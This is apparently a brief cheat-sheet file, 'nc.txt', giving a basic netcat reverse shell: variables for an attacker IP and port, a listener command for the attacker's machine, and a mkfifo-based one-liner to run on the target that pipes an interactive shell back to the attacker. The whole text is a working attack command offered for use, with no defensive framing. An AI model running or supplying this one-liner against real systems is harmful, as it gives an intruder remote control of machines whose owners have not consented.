Basic nc reverse shell

nc.txt

YOURIP=10.0.0.1
PORT=4444

On your machine:
nc -l $PORT

Paste this:
echo "Any command"

Execute this on the target machine:
rm -f /tmp/b; mkfifo /tmp/b; /bin/sh -i 2>&1 0</tmp/b | nc $YOURIP $PORT 1>/tmp/b